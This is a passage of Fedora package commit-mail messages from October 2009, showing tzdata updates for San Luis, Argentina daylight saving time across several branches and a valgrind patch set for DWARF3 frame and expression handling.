  # Today it was officially published that the Province of Mendoza is changing
+@@ -428,6 +428,11 @@
+ # "Mar del Plata doesn't want to change the time"
+ # (less definitive than "is not to").
+ 
++
++Rule	SanLuis	2008	max	-	Mar	Sun>=8	0:00	0	-
++Rule	SanLuis	2008	max	-	Oct	Sun>=8	0:00	1:00	S
++ 
++
+ # Zone	NAME		GMTOFF	RULES	FORMAT	[UNTIL]
+ #
+ # Buenos Aires (BA), Capital Federal (CF),
+@@ -574,8 +579,7 @@
+ 			-3:00	-	ART	2004 May 31
+ 			-4:00	-	WART	2004 Jul 25
+ 			-3:00	Arg	AR%sT	2008 Jan 21
+-			-3:00	-	ART	2009 Mar 15
+-			-4:00	Arg	WAR%sT
++			-4:00	SanLuis	WAR%sT
+ #
+ # Santa Cruz (SC)
+ Zone America/Argentina/Rio_Gallegos -4:36:52 - LMT 1894 Oct 31


Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/devel/tzdata.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- tzdata.spec	19 Oct 2009 15:33:49 -0000	1.89
+++ tzdata.spec	21 Oct 2009 14:37:39 -0000	1.90
@@ -3,7 +3,7 @@ Name: tzdata
 Version: 2009o
 %define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -113,6 +113,9 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Wed Oct 21 2009 Petr Machata <pmachata at redhat.com> - 2009o-2
+- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)
+
 * Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
 - Upstream 2009o
   - Bangladesh won't go back to Standard Time from October 1, 2009



From pmachata at fedoraproject.org  Wed Oct 21 14:37:56 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 21 Oct 2009 14:37:56 +0000 (UTC)
Subject: rpms/tzdata/F-12 tzdata.spec,1.89,1.90
Message-ID: <20091021143756.4913B11C00E8@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29524

Modified Files:
	tzdata.spec 
Log Message:
- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)



Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-12/tzdata.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- tzdata.spec	19 Oct 2009 15:40:43 -0000	1.89
+++ tzdata.spec	21 Oct 2009 14:37:56 -0000	1.90
@@ -3,7 +3,7 @@ Name: tzdata
 Version: 2009o
 %define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -113,6 +113,9 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Wed Oct 21 2009 Petr Machata <pmachata at redhat.com> - 2009o-2
+- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)
+
 * Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
 - Upstream 2009o
   - Bangladesh won't go back to Standard Time from October 1, 2009



From pmachata at fedoraproject.org  Wed Oct 21 14:37:59 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 21 Oct 2009 14:37:59 +0000 (UTC)
Subject: rpms/tzdata/F-11 tzdata.spec,1.87,1.88
Message-ID: <20091021143759.E87DD11C00E8@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29554

Modified Files:
	tzdata.spec 
Log Message:
- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)



Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-11/tzdata.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- tzdata.spec	19 Oct 2009 15:33:48 -0000	1.87
+++ tzdata.spec	21 Oct 2009 14:37:59 -0000	1.88
@@ -3,7 +3,7 @@ Name: tzdata
 Version: 2009o
 %define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -113,6 +113,9 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Wed Oct 21 2009 Petr Machata <pmachata at redhat.com> - 2009o-2
+- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)
+
 * Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
 - Upstream 2009o
   - Bangladesh won't go back to Standard Time from October 1, 2009



From pmachata at fedoraproject.org  Wed Oct 21 14:38:14 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 21 Oct 2009 14:38:14 +0000 (UTC)
Subject: rpms/tzdata/F-10 tzdata.spec,1.83,1.84
Message-ID: <20091021143814.8F23B11C00E8@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/tzdata/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29697

Modified Files:
	tzdata.spec 
Log Message:
- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)



Index: tzdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tzdata/F-10/tzdata.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- tzdata.spec	19 Oct 2009 15:33:48 -0000	1.83
+++ tzdata.spec	21 Oct 2009 14:38:14 -0000	1.84
@@ -3,7 +3,7 @@ Name: tzdata
 Version: 2009o
 %define tzdata_version 2009o
 %define tzcode_version 2009k
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Public Domain
 Group: System Environment/Base
 URL: ftp://elsie.nci.nih.gov/pub/
@@ -113,6 +113,9 @@ rm -rf %{buildroot}
 %{_datadir}/javazi
 
 %changelog
+* Wed Oct 21 2009 Petr Machata <pmachata at redhat.com> - 2009o-2
+- San Luis (Argentina) entered DST on October 11 (tzdata-2009o-argentinas.patch)
+
 * Mon Oct 19 2009 Petr Machata <pmachata at redhat.com> - 2009o-1
 - Upstream 2009o
   - Bangladesh won't go back to Standard Time from October 1, 2009



From jakub at fedoraproject.org  Wed Oct 21 14:54:08 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Wed, 21 Oct 2009 14:54:08 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-helgrind-race-supp.patch, NONE,
	1.1 valgrind-3.5.0-ppc-tests.patch, NONE,
	1.1 valgrind-3.5.0-dwarf3.patch, 1.1, 1.2 valgrind.spec, 1.69, 1.70
Message-ID: <20091021145408.4A02711C00E8@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3150

Modified Files:
	valgrind-3.5.0-dwarf3.patch valgrind.spec 
Added Files:
	valgrind-3.5.0-helgrind-race-supp.patch 
	valgrind-3.5.0-ppc-tests.patch 
Log Message:
3.5.0-4

valgrind-3.5.0-helgrind-race-supp.patch:
 glibc-2.34567-NPTL-helgrind.supp |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE valgrind-3.5.0-helgrind-race-supp.patch ---
--- valgrind/glibc-2.34567-NPTL-helgrind.supp.jj	2009-08-19 15:37:48.000000000 +0200
+++ valgrind/glibc-2.34567-NPTL-helgrind.supp	2009-10-21 16:46:31.000000000 +0200
@@ -88,6 +88,12 @@
    obj:/lib*/libpthread-2.*so*
 }
 {
+   helgrind-glibc2X-102a
+   Helgrind:Race
+   fun:mythread_wrapper
+   obj:*vgpreload_helgrind*.so
+}
+{
    helgrind-glibc2X-103
    Helgrind:Race
    fun:pthread_cond_*@@GLIBC_2.*

valgrind-3.5.0-ppc-tests.patch:
 jm-insns.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE valgrind-3.5.0-ppc-tests.patch ---
--- valgrind/none/tests/ppc32/jm-insns.c.jj	2009-10-09 12:52:01.000000000 +0200
+++ valgrind/none/tests/ppc32/jm-insns.c	2009-10-20 17:25:32.000000000 +0200
@@ -210,10 +210,10 @@ typedef uint64_t  HWord_t;
 
 
 /* XXXX these must all be callee-save regs! */
-register double f14 __asm__ ("f14");
-register double f15 __asm__ ("f15");
-register double f16 __asm__ ("f16");
-register double f17 __asm__ ("f17");
+register double f14 __asm__ ("46");
+register double f15 __asm__ ("47");
+register double f16 __asm__ ("48");
+register double f17 __asm__ ("49");
 register HWord_t r14 __asm__ ("r14");
 register HWord_t r15 __asm__ ("r15");
 register HWord_t r16 __asm__ ("r16");

valgrind-3.5.0-dwarf3.patch:
 d3basics.c       |  257 +++++++++++++++++++++++++++++++++++++++++++++++++++++--
 debuginfo.c      |   66 +++++++++++++-
 priv_d3basics.h  |   10 +-
 priv_readdwarf.h |    2 
 priv_storage.h   |    2 
 readdwarf.c      |  113 +++++++++++++++++-------
 readelf.c        |   11 ++
 storage.c        |    4 
 tytypes.c        |    2 
 9 files changed, 418 insertions(+), 49 deletions(-)

Index: valgrind-3.5.0-dwarf3.patch
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind-3.5.0-dwarf3.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- valgrind-3.5.0-dwarf3.patch	14 Oct 2009 15:03:39 -0000	1.1
+++ valgrind-3.5.0-dwarf3.patch	21 Oct 2009 14:54:07 -0000	1.2
@@ -1,5 +1,254 @@
---- valgrind/coregrind/m_debuginfo/priv_d3basics.h.jj	2009-10-09 12:52:05.000000000 +0200
-+++ valgrind/coregrind/m_debuginfo/priv_d3basics.h	2009-10-13 14:55:12.000000000 +0200
+--- valgrind/coregrind/m_debuginfo/readdwarf.c.jj	2009-08-19 15:37:44.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/readdwarf.c	2009-10-21 13:18:25.000000000 +0200
+@@ -3446,23 +3446,37 @@ static CIE the_CIEs[N_CIEs];
+ 
+ 
+ void ML_(read_callframe_info_dwarf3)
+-        ( /*OUT*/struct _DebugInfo* di, UChar* ehframe_image )
++        ( /*OUT*/struct _DebugInfo* di, UChar* frame_image, SizeT frame_size,
++          Bool for_eh )
+ {
+    Int    nbytes;
+    HChar* how = NULL;
+    Int    n_CIEs = 0;
+-   UChar* data = ehframe_image;
++   UChar* data = frame_image;
++   UWord  ehframe_cfsis = 0;   
+ 
+ #  if defined(VGP_ppc32_linux) || defined(VGP_ppc64_linux)
+-   /* These targets don't use CFI-based stack unwinding. */
+-   return;
++   if (!VG_(needs).var_info /* the tool requires it */   
++       && !VG_(clo_read_var_info) /* the user asked for it */) {
++      /* These targets don't use CFI-based stack unwinding, but still might
++         need it for DW_OP_call_frame_cfa support. */
++      return;
++   }
+ #  endif
+ 
++   /* If we are reading .debug_frame after .eh_frame has been read, only
++      add FDEs which weren't covered in .eh_frame.  To be able to quickly
++      search the FDEs, the records must be sorted.  */
++   if ( ! for_eh && di->ehframe_size && di->cfsi_used ) {
++      ML_(canonicaliseCFI) ( di );
++      ehframe_cfsis = di->cfsi_used;
++   }
++
+    if (di->trace_cfi) {
+       VG_(printf)("\n-----------------------------------------------\n");
+       VG_(printf)("CFI info: szB %ld, _avma %#lx, _image %p\n",
+-                  di->ehframe_size, di->ehframe_avma,
+-                  ehframe_image );
++                  frame_size, for_eh ? di->ehframe_avma : 0,
++                  frame_image );
+       VG_(printf)("CFI info: name %s\n",
+                   di->filename );
+    }
+@@ -3495,11 +3509,11 @@ void ML_(read_callframe_info_dwarf3)
+       Bool   dw64;
+ 
+       /* Are we done? */
+-      if (data == ehframe_image + di->ehframe_size)
++      if (data == frame_image + frame_size)
+          return;
+ 
+       /* Overshot the end?  Means something is wrong */
+-      if (data > ehframe_image + di->ehframe_size) {
++      if (data > frame_image + frame_size) {
+          how = "overran the end of .eh_frame";
+          goto bad;
+       }
+@@ -3509,9 +3523,9 @@ void ML_(read_callframe_info_dwarf3)
+ 
+       ciefde_start = data;
+       if (di->trace_cfi) 
+-         VG_(printf)("\ncie/fde.start   = %p (ehframe_image + 0x%lx)\n", 
++         VG_(printf)("\ncie/fde.start   = %p (frame_image + 0x%lx)\n", 
+                      ciefde_start,
+-                     ciefde_start - ehframe_image + 0UL);
++                     ciefde_start - frame_image + 0UL);
+ 
+       ciefde_len = (ULong) read_UInt(data); data += sizeof(UInt);
+       if (di->trace_cfi) 
+@@ -3524,7 +3538,7 @@ void ML_(read_callframe_info_dwarf3)
+       if (ciefde_len == 0) {
+          if (di->ddump_frames)
+             VG_(printf)("%08lx ZERO terminator\n\n",
+-                        ((Addr)ciefde_start) - ((Addr)ehframe_image));
++                        ((Addr)ciefde_start) - ((Addr)frame_image));
+          return;
+       }
+ 
+@@ -3550,8 +3564,10 @@ void ML_(read_callframe_info_dwarf3)
+       if (di->trace_cfi) 
+          VG_(printf)("cie.pointer     = %lld\n", cie_pointer);
+ 
+-      /* If cie_pointer is zero, we've got a CIE; else it's an FDE. */
+-      if (cie_pointer == 0) {
++      /* If cie_pointer is zero for .eh_frame or all ones for .debug_frame,
++         we've got a CIE; else it's an FDE. */
++      if (cie_pointer == (for_eh ? 0ULL
++                          : dw64 ? 0xFFFFFFFFFFFFFFFFULL : 0xFFFFFFFFULL)) {
+ 
+          Int    this_CIE;
+          UChar  cie_version;
+@@ -3575,11 +3591,11 @@ void ML_(read_callframe_info_dwarf3)
+ 
+ 	 /* Record its offset.  This is how we will find it again
+             later when looking at an FDE. */
+-         the_CIEs[this_CIE].offset = (ULong)(ciefde_start - ehframe_image);
++         the_CIEs[this_CIE].offset = (ULong)(ciefde_start - frame_image);
+ 
+          if (di->ddump_frames)
+             VG_(printf)("%08lx %08lx %08lx CIE\n",
+-                        ((Addr)ciefde_start) - ((Addr)ehframe_image),
++                        ((Addr)ciefde_start) - ((Addr)frame_image),
+                         (Addr)ciefde_len,
+                         (Addr)(UWord)cie_pointer );
+ 
+@@ -3623,8 +3639,13 @@ void ML_(read_callframe_info_dwarf3)
+             VG_(printf)("  Data alignment factor: %d\n",
+                         (Int)the_CIEs[this_CIE].data_a_f);
+ 
+-         the_CIEs[this_CIE].ra_reg = (Int)read_UChar(data); 
+-         data += sizeof(UChar);
++         if (cie_version == 1) {
++            the_CIEs[this_CIE].ra_reg = (Int)read_UChar(data); 
++            data += sizeof(UChar);
++         } else {
++            the_CIEs[this_CIE].ra_reg = read_leb128( data, &nbytes, 0);
++            data += nbytes;
++         }
+          if (di->trace_cfi) 
+             VG_(printf)("cie.ra_reg      = %d\n", 
+                         the_CIEs[this_CIE].ra_reg);
+@@ -3702,7 +3723,7 @@ void ML_(read_callframe_info_dwarf3)
+ 	 }
+ 
+          if (the_CIEs[this_CIE].ilen < 0
+-             || the_CIEs[this_CIE].ilen > di->ehframe_size) {
++             || the_CIEs[this_CIE].ilen > frame_size) {
+             how = "implausible # cie initial insns";
+             goto bad;
+          }
+@@ -3717,8 +3738,8 @@ void ML_(read_callframe_info_dwarf3)
+          if (di->trace_cfi || di->ddump_frames) {
+             AddressDecodingInfo adi;
+             adi.encoding      = the_CIEs[this_CIE].address_encoding;
+-            adi.ehframe_image = ehframe_image;
+-            adi.ehframe_avma  = di->ehframe_avma;
++            adi.ehframe_image = frame_image;
++            adi.ehframe_avma  = for_eh ? di->ehframe_avma : 0;
+             adi.text_bias     = di->text_debug_bias;
+             show_CF_instructions( the_CIEs[this_CIE].instrs, 
+                                   the_CIEs[this_CIE].ilen, &adi,
+@@ -3747,9 +3768,12 @@ void ML_(read_callframe_info_dwarf3)
+             cie_pointer bytes back from here. */
+ 
+          /* re sizeof(UInt) / sizeof(ULong), matches XXX above. */
+-         look_for = (data - (dw64 ? sizeof(ULong) : sizeof(UInt)) 
+-                          - ehframe_image) 
+-                    - cie_pointer;
++         if (for_eh)
++            look_for = (data - (dw64 ? sizeof(ULong) : sizeof(UInt)) 
++                             - frame_image) 
++                       - cie_pointer;
++         else
++            look_for = cie_pointer;
+ 
+          for (cie = 0; cie < n_CIEs; cie++) {
+             if (0) VG_(printf)("look for %lld   %lld\n",
+@@ -3764,8 +3788,8 @@ void ML_(read_callframe_info_dwarf3)
+ 	 }
+ 
+          adi.encoding      = the_CIEs[cie].address_encoding;
+-         adi.ehframe_image = ehframe_image;
+-         adi.ehframe_avma  = di->ehframe_avma;
++         adi.ehframe_image = frame_image;
++         adi.ehframe_avma  = for_eh ? di->ehframe_avma : 0;
+          adi.text_bias     = di->text_debug_bias;
+          fde_initloc = read_encoded_Addr(&nbytes, &adi, data);
+          data += nbytes;
+@@ -3773,8 +3797,8 @@ void ML_(read_callframe_info_dwarf3)
+             VG_(printf)("fde.initloc     = %#lx\n", fde_initloc);
+ 
+          adi.encoding      = the_CIEs[cie].address_encoding & 0xf;
+-         adi.ehframe_image = ehframe_image;
+-         adi.ehframe_avma  = di->ehframe_avma;
++         adi.ehframe_image = frame_image;
++         adi.ehframe_avma  = for_eh ? di->ehframe_avma : 0;
+          adi.text_bias     = di->text_debug_bias;
+ 
+          /* WAS (incorrectly):
+@@ -3800,7 +3824,7 @@ void ML_(read_callframe_info_dwarf3)
+ 
+          if (di->ddump_frames)
+             VG_(printf)("%08lx %08lx %08lx FDE cie=%08lx pc=%08lx..%08lx\n",
+-                        ((Addr)ciefde_start) - ((Addr)ehframe_image),
++                        ((Addr)ciefde_start) - ((Addr)frame_image),
+                         (Addr)ciefde_len,
+                         (Addr)(UWord)cie_pointer,
+                         (Addr)look_for, 
+@@ -3827,16 +3851,43 @@ void ML_(read_callframe_info_dwarf3)
+             VG_(printf)("fde.ilen        = %d\n", (Int)fde_ilen);
+ 	 }
+ 
+-         if (fde_ilen < 0 || fde_ilen > di->ehframe_size) {
++         if (fde_ilen < 0 || fde_ilen > frame_size) {
+             how = "implausible # fde insns";
+             goto bad;
+          }
+ 
+ 	 data += fde_ilen;
+ 
++         if (ehframe_cfsis) {
++            Addr a_mid_lo, a_mid_hi;
++            Word mid, size, 
++                 lo = 0, 
++                 hi = ehframe_cfsis-1;
++            while (True) {
++               /* current unsearched space is from lo to hi, inclusive. */
++               if (lo > hi) break; /* not found */
++               mid      = (lo + hi) / 2;
++               a_mid_lo = di->cfsi[mid].base;
++               size     = di->cfsi[mid].len;
++               a_mid_hi = a_mid_lo + size - 1;
++               vg_assert(a_mid_hi >= a_mid_lo);
++               if (fde_initloc + fde_arange <= a_mid_lo) {
++                  hi = mid-1; continue;
++               }
++               if (fde_initloc > a_mid_hi) { lo = mid+1; continue; }
++               break;
++            }
++
++            /* The range this .debug_frame FDE covers has been already
++               covered in .eh_frame section.  Don't add it from .debug_frame
++               section again.  */            
++            if (lo <= hi)
++               continue;
++         }
++
+          adi.encoding      = the_CIEs[cie].address_encoding;
+-         adi.ehframe_image = ehframe_image;
+-         adi.ehframe_avma  = di->ehframe_avma;
++         adi.ehframe_image = frame_image;
++         adi.ehframe_avma  = for_eh ? di->ehframe_avma : 0;
+          adi.text_bias     = di->text_debug_bias;
+ 
+          if (di->trace_cfi)
+--- valgrind/coregrind/m_debuginfo/priv_readdwarf.h.jj	2009-08-19 15:37:44.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/priv_readdwarf.h	2009-10-21 11:51:38.000000000 +0200
+@@ -62,7 +62,7 @@ void ML_(read_debuginfo_dwarf1) ( struct
+    -------------------- */
+ extern
+ void ML_(read_callframe_info_dwarf3)
+-    ( /*OUT*/struct _DebugInfo* di, UChar* ehframe );
++    ( /*OUT*/struct _DebugInfo* di, UChar* frame, SizeT sz, Bool for_eh );
+ 
+ 
+ #endif /* ndef __PRIV_READDWARF_H */
+--- valgrind/coregrind/m_debuginfo/priv_d3basics.h.jj	2009-08-19 15:37:44.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/priv_d3basics.h	2009-10-21 10:49:47.000000000 +0200
 @@ -522,6 +522,9 @@ typedef enum
      DW_OP_form_tls_address = 0x9b,
      DW_OP_call_frame_cfa = 0x9c,
@@ -36,8 +285,87 @@
  #endif /* ndef __PRIV_D3BASICS_H */
  
  /*--------------------------------------------------------------------*/
---- valgrind/coregrind/m_debuginfo/d3basics.c.jj	2009-10-09 12:52:05.000000000 +0200
-+++ valgrind/coregrind/m_debuginfo/d3basics.c	2009-10-13 14:54:40.000000000 +0200
+--- valgrind/coregrind/m_debuginfo/readelf.c.jj	2009-10-21 10:49:47.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/readelf.c	2009-10-21 11:52:12.000000000 +0200
+@@ -1688,6 +1688,7 @@ Bool ML_(read_elf_debug_info) ( struct _
+       UChar*     debug_str_img    = NULL; /* .debug_str    (dwarf2) */
+       UChar*     debug_ranges_img = NULL; /* .debug_ranges (dwarf2) */
+       UChar*     debug_loc_img    = NULL; /* .debug_loc    (dwarf2) */
++      UChar*     debug_frame_img  = NULL; /* .debug_frame  (dwarf2) */
+       UChar*     dwarf1d_img      = NULL; /* .debug        (dwarf1) */
+       UChar*     dwarf1l_img      = NULL; /* .line         (dwarf1) */
+       UChar*     ehframe_img      = NULL; /* .eh_frame     (dwarf2) */
+@@ -1707,6 +1708,7 @@ Bool ML_(read_elf_debug_info) ( struct _
+       SizeT      debug_str_sz    = 0;
+       SizeT      debug_ranges_sz = 0;
+       SizeT      debug_loc_sz    = 0;
++      SizeT      debug_frame_sz  = 0;
+       SizeT      dwarf1d_sz      = 0;
+       SizeT      dwarf1l_sz      = 0;
+       SizeT      ehframe_sz      = 0;
+@@ -1764,6 +1766,7 @@ Bool ML_(read_elf_debug_info) ( struct _
+          FIND(".debug_str",     debug_str_sz,    debug_str_img)
+          FIND(".debug_ranges",  debug_ranges_sz, debug_ranges_img)
+          FIND(".debug_loc",     debug_loc_sz,    debug_loc_img)
++         FIND(".debug_frame",   debug_frame_sz,  debug_frame_img)
+ 
+          FIND(".debug",         dwarf1d_sz,      dwarf1d_img)
+          FIND(".line",          dwarf1l_sz,      dwarf1l_img)
+@@ -1956,6 +1959,8 @@ Bool ML_(read_elf_debug_info) ( struct _
+                FIND(need_dwarf2, ".debug_ranges", debug_ranges_sz, 
+                                                                debug_ranges_img)
+                FIND(need_dwarf2, ".debug_loc",    debug_loc_sz,  debug_loc_img)
++               FIND(need_dwarf2, ".debug_frame",  debug_frame_sz,
++                                                               debug_frame_img)
+                FIND(need_dwarf1, ".debug",        dwarf1d_sz,    dwarf1d_img)
+                FIND(need_dwarf1, ".line",         dwarf1l_sz,    dwarf1l_img)
+ 
+@@ -1996,7 +2001,11 @@ Bool ML_(read_elf_debug_info) ( struct _
+       /* Read .eh_frame (call-frame-info) if any */
+       if (ehframe_img) {
+          vg_assert(ehframe_sz == di->ehframe_size);
+-         ML_(read_callframe_info_dwarf3)( di, ehframe_img );
++         ML_(read_callframe_info_dwarf3)( di, ehframe_img, ehframe_sz, True );
++      }
++      if (debug_frame_sz) {
++         ML_(read_callframe_info_dwarf3)( di, debug_frame_img,
++                                          debug_frame_sz, False );
+       }
+ 
+       /* Read the stabs and/or dwarf2 debug information, if any.  It
+--- valgrind/coregrind/m_debuginfo/priv_storage.h.jj	2009-10-21 10:49:47.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/priv_storage.h	2009-10-21 12:45:31.000000000 +0200
+@@ -649,6 +649,8 @@ extern void ML_(addVar)( struct _DebugIn
+    this after finishing adding entries to these tables. */
+ extern void ML_(canonicaliseTables) ( struct _DebugInfo* di );
+ 
++extern void ML_(canonicaliseCFI) ( struct _DebugInfo* di );
++
+ /* ------ Searching ------ */
+ 
+ /* Find a symbol-table index containing the specified pointer, or -1
+--- valgrind/coregrind/m_debuginfo/storage.c.jj	2009-08-19 15:37:44.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/storage.c	2009-10-21 12:44:16.000000000 +0200
+@@ -1435,7 +1435,7 @@ static Int compare_DiCfSI ( void* va, vo
+    return 0;
+ }
+ 
+-static void canonicaliseCFI ( struct _DebugInfo* di )
++void ML_(canonicaliseCFI) ( struct _DebugInfo* di )
+ {
+    Word  i, j;
+    const Addr minAvma = 0;
+@@ -1528,7 +1528,7 @@ void ML_(canonicaliseTables) ( struct _D
+ {
+    canonicaliseSymtab ( di );
+    canonicaliseLoctab ( di );
+-   canonicaliseCFI ( di );
++   ML_(canonicaliseCFI) ( di );
+    canonicaliseVarInfo ( di );
+ }
+ 
+--- valgrind/coregrind/m_debuginfo/d3basics.c.jj	2009-08-19 15:37:44.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/d3basics.c	2009-10-21 13:40:50.000000000 +0200
 @@ -443,7 +443,7 @@ static Bool bias_address( Addr* a, const
  
  
@@ -99,7 +427,7 @@
              FAIL("evaluate_Dwarf3_Expr: DW_OP_reg* "
                   "whilst evaluating for a value");
              break;
-@@ -637,6 +652,297 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
+@@ -637,6 +652,229 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
                      "address not valid for client");
              }
              break;
@@ -213,12 +541,6 @@
 +               sw1 = -sw1;
 +            PUSH(sw1);
 +            break;
-+         case DW_OP_and:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 &= uw2;
-+            PUSH(uw1);
-+            break;
 +         case DW_OP_div:
 +            POP(sw2);
 +            if (sw2 == 0)
@@ -227,12 +549,6 @@
 +            sw1 /= sw2;
 +            PUSH(sw1);
 +            break;
-+         case DW_OP_minus:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 -= uw2;
-+            PUSH(uw1);
-+            break;
 +         case DW_OP_mod:
 +            POP(sw2);
 +            if (sw2 == 0)
@@ -241,94 +557,38 @@
 +            sw1 %= sw2;
 +            PUSH(sw1);
 +            break;
-+         case DW_OP_mul:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 *= uw2;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_neg:
-+            POP(uw1);
-+            uw1 = -uw1;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_not:
-+            POP(uw1);
-+            uw1 = ~uw1;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_or:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 |= uw2;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_plus:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 += uw2;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_shl:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 <<= uw2;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_shr:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 >>= uw2;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_shra:
-+            POP(uw2);
-+            POP(sw1);
-+            sw1 >>= uw2;
-+            PUSH(sw1);
-+            break;
-+         case DW_OP_xor:
-+            POP(uw2);
-+            POP(uw1);
-+            uw1 ^= uw2;
-+            PUSH(uw1);
-+            break;
-+         case DW_OP_le:
-+            POP(sw2);
-+            POP(sw1);
-+            sw1 = sw1 <= sw2;
-+            PUSH(sw1);
-+            break;
-+         case DW_OP_lt:
-+            POP(sw2);
-+            POP(sw1);
-+            sw1 = sw1 < sw2;
-+            PUSH(sw1);
-+            break;
-+         case DW_OP_ge:
-+            POP(sw2);
-+            POP(sw1);
-+            sw1 = sw1 >= sw2;
-+            PUSH(sw1);
-+            break;
-+         case DW_OP_gt:
-+            POP(sw2);
-+            POP(sw1);
-+            sw1 = sw1 > sw2;
-+            PUSH(sw1);
-+            break;
-+         case DW_OP_ne:
-+            POP(sw2);
-+            POP(sw1);
-+            sw1 = sw1 != sw2;
-+            PUSH(sw1);
-+            break;
-+         case DW_OP_eq:
-+            POP(sw2);
-+            POP(sw1);
-+            sw1 = sw1 == sw2;
-+            PUSH(sw1);
-+            break;
++#define BINARY(name, op, s) \
++         case DW_OP_##name:		\
++            POP(s##w2);			\
++            POP(s##w1);			\
++            s##w1 = s##w1 op s##w2;	\
++            PUSH(s##w1);		\
++            break
++#define UNARY(name, op, s) \
++         case DW_OP_##name:		\
++            POP(s##w1);			\
++            s##w1 = op s##w1;		\
++            PUSH(s##w1);		\
++            break
++         BINARY (and, &, u);
++         BINARY (minus, -, u);
++         BINARY (mul, *, u);
++         UNARY (neg, -, u);
++         UNARY (not, ~, u);
++         BINARY (or, |, u);
++         BINARY (plus, +, u);
++         BINARY (shl, <<, u);
++         BINARY (shr, >>, u);
++         BINARY (shra, >>, s);
++         BINARY (xor, ^, u);
++         BINARY (le, <=, s);
++         BINARY (lt, <, s);
++         BINARY (ge, >=, s);
++         BINARY (gt, >, s);
++         BINARY (ne, !=, u);
++         BINARY (eq, ==, u);
++#undef UNARY
++#undef BINARY
 +         case DW_OP_skip:
 +            sw1 = *(Short *)expr;
 +            expr += 2;
@@ -397,7 +657,7 @@
           default:
              if (!VG_(clo_xml))
                 VG_(message)(Vg_DebugMsg, 
-@@ -650,7 +956,7 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
+@@ -650,7 +888,7 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
  
     vg_assert(sp >= 0 && sp < N_EXPR_STACK);
     res.word = stack[sp];
@@ -406,7 +666,24 @@
     return res;
   
  #  undef POP
